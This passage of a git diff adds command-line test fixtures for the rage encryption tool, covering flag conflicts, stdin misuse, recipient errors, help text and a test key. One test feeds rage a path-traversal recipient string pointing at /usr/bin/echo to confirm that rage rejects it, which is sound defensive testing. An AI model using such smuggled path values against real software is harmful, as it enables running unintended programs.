b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml new file mode 100644 index 0000000..6049ac8 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt -j plugin-name" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with -j. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml new file mode 100644 index 0000000..a0bf506 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "-d -i - -i - file.age.txt" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml new file mode 100644 index 0000000..5f88b5c --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "--decrypt -i -" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml new file mode 100644 index 0000000..8b6c0b5 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt --passphrase" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -p/--passphrase can't be used with -d/--decrypt. +Note that passphrase-encrypted files are detected automatically. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml new file mode 100644 index 0000000..5242581 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -r foobar" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -r/--recipient can't be used with -d/--decrypt. +Did you mean to use -i/--identity to specify a private key? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml new file mode 100644 index 0000000..2964cd0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -R foobar.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -R/--recipients-file can't be used with -d/--decrypt. +Did you mean to use -i/--identity to specify a private key? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml new file mode 100644 index 0000000..1c08153 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml new file mode 100644 index 0000000..fee48f7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = "-d -i key.txt" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml new file mode 100644 index 0000000..5ecaa1a --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -i key.age.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Identity file 'key.age.txt' is encrypted with age but not with a passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml new file mode 100644 index 0000000..98c0559 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "-e -i - -a file.txt" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = """ +-----BEGIN AGE ENCRYPTED FILE----- +... +-----END AGE ENCRYPTED FILE----- +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml new file mode 100644 index 0000000..ce03d5e --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --recipient age1foobar/../../../../../../../usr/bin/echo1849l6e" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Invalid recipient 'age1foobar/../../../../../../../usr/bin/echo1849l6e'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml new file mode 100644 index 0000000..12e24c3 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --recipient foobar" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Invalid recipient 'foobar'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt new file mode 100644 index 0000000..323fae0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt @@ -0,0 +1 @@ +foobar diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml new file mode 100644 index 0000000..7c38637 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -R recipients.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Recipients file 'recipients.txt' contains non-recipient data on line 1. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml new file mode 100644 index 0000000..d8fe386 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -R foobar.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Recipients file not found: foobar.txt + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml new file mode 100644 index 0000000..b8a9d25 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--encrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Missing recipients. +Did you forget to specify -r/--recipient? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml new file mode 100644 index 0000000..2b2c441 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --identity key.txt --passphrase" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml new file mode 100644 index 0000000..4e7cd48 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -r foobar -p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -r/--recipient can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml new file mode 100644 index 0000000..eef4363 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R foobar.txt -p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -R/--recipients-file can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml new file mode 100644 index 0000000..2234bbd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "-e -i - -i - file.txt" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml new file mode 100644 index 0000000..7f4ab03 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R - -i - file.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml new file mode 100644 index 0000000..4a741a5 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-R - -R - file.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml new file mode 100644 index 0000000..2c3a785 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "-R -" +status = "failed" +stdin = """ +Test plaintext. +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml b/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml new file mode 100644 index 0000000..392202e --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -j plugin-name" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -j can't be used with -e/--encrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml new file mode 100644 index 0000000..8288565 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R - -a file.txt" +stdin = """ +age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +""" +stdout = """ +-----BEGIN AGE ENCRYPTED FILE----- +... +-----END AGE ENCRYPTED FILE----- +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/help.toml b/lib/rage/rage/tests/cmd/rage/help.toml new file mode 100644 index 0000000..61047a9 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/help.toml @@ -0,0 +1,48 @@ +bin.name = "rage" +args = "--help" +stdout = """ +Usage: rage[EXE] [--encrypt] (-r RECIPIENT | -R PATH)... [-i IDENTITY] [-a] [-o OUTPUT] [INPUT] + rage[EXE] [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage[EXE] --decrypt [-i IDENTITY] [-o OUTPUT] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -e, --encrypt Encrypt the input (the default). + -d, --decrypt Decrypt the input. + -p, --passphrase Encrypt with a passphrase instead of recipients. + --max-work-factor Maximum work factor to allow for passphrase decryption. + -a, --armor Encrypt to a PEM encoded format. + -r, --recipient Encrypt to the specified RECIPIENT. May be repeated. + -R, --recipients-file Encrypt to the recipients listed at PATH. May be repeated. + -i, --identity Use the identity file at IDENTITY. May be repeated. + -j Use age-plugin-PLUGIN-NAME in its default mode as an identity. + -o, --output Write the result to the file at path OUTPUT. + +INPUT defaults to standard input, and OUTPUT defaults to standard output. +If OUTPUT exists, it will be overwritten. + +RECIPIENT can be: +- An age public key, as generated by rage-keygen[EXE] ("age1..."). +- An SSH public key ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PATH is a path to a file containing age recipients, one per line +(ignoring "#" prefixed comments and empty lines). "-" may be used to +read recipients from standard input. + +IDENTITY is a path to a file with age identities, one per line +(ignoring "#" prefixed comments and empty lines), or to an SSH key file. +Passphrase-encrypted age identity files can be used as identity files. +Multiple identities may be provided, and any unused ones will be ignored. +"-" may be used to read identities from standard input. + +Example: + $ rage-keygen[EXE] -o key.txt + Public key: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p + $ tar cvz ~/data | rage[EXE] -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age + $ rage[EXE] -d -i key.txt -o data.tar.gz data.tar.gz.age +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/help_it.toml b/lib/rage/rage/tests/cmd/rage/help_it.toml new file mode 100644 index 0000000..b7dbd84 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/help_it.toml @@ -0,0 +1,48 @@ +bin.name = "rage" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage[EXE] [--encrypt] (-r DESTINATARIO | -R PERCORSO)... [-i IDENTITÀ] [-a] [-o OUTPUT] [INPUT] + rage[EXE] [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage[EXE] --decrypt [-i IDENTITÀ] [-o OUTPUT] [INPUT] + +Argomenti: + [INPUT] Posizione di un file di input. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -e, --encrypt Cifra l'input (il default). + -d, --decrypt Decifra l'input. + -p, --passphrase Cifra con una passphrase invece che con i destinatari. + --max-work-factor Fattore di complessità massima per decifrare passphrase. + -a, --armor Codifica l'output della cifratura in PEM. + -r, --recipient Cifra al DESTINATARIO specificato. Può essere ripetuto. + -R, --recipients-file Cifra ai destinatari elencati in PERCORSO. Può essere ripetuto. + -i, --identity Usa il file IDENTITÀ. Può essere ripetuto. + -j Usa age-plugin-NOME-PLUGIN in modalità di default come identità. + -o, --output Scrivi l'output al file OUTPUT. + +INPUT ha come valore predefinito lo standard input, e OUTPUT ha come +valore predefinito lo standard output. + +DESTINATARIO può essere: +- Una chiave pubblica age, come generata da rage-keygen[EXE] ("age1..."). +- Una chiave pubblica SSH ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PERCORSO è il percorso ad un file contenente dei destinatari age, +uno per riga (ignorando i commenti che iniziano con "#" e le righe vuote). + +IDENTITÀ è il percorso ad un file contenente identità age, una per +riga (ignorando i commenti che iniziano con "#" e le righe vuote), o ad un +file contenente una chiave SSH. +I file di identità possono essere cifrati con age e una passphrase. +Possono essere fornite più identità, quelle inutilizzate verranno ignorate. + +Esempio: + $ rage-keygen[EXE] -o key.txt + Chiave pubblica: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p + $ tar cvz ~/data | rage[EXE] -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age + $ rage[EXE] -d -i key.txt -o data.tar.gz data.tar.gz.age +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml b/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml new file mode 100644 index 0000000..bdb8897 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-i key.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity requires either -e/--encrypt or -d/--decrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml b/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml new file mode 100644 index 0000000..a853f95 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --decrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -e/--encrypt can't be used with -d/--decrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt b/lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt new file mode 100644 index 0000000..e69de29 diff --git a/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml b/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml new file mode 100644 index 0000000..6a49d83 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-r foobar -o same.txt same.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Input and output are the same file 'same.txt'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/version.toml b/lib/rage/rage/tests/cmd/rage/version.toml new file mode 100644 index 0000000..1f92da8 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage" +args = "--version" +stdout = """ +rage 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml b/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml new file mode 100644 index 0000000..4b0c6be --- /dev/null +++ b/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = 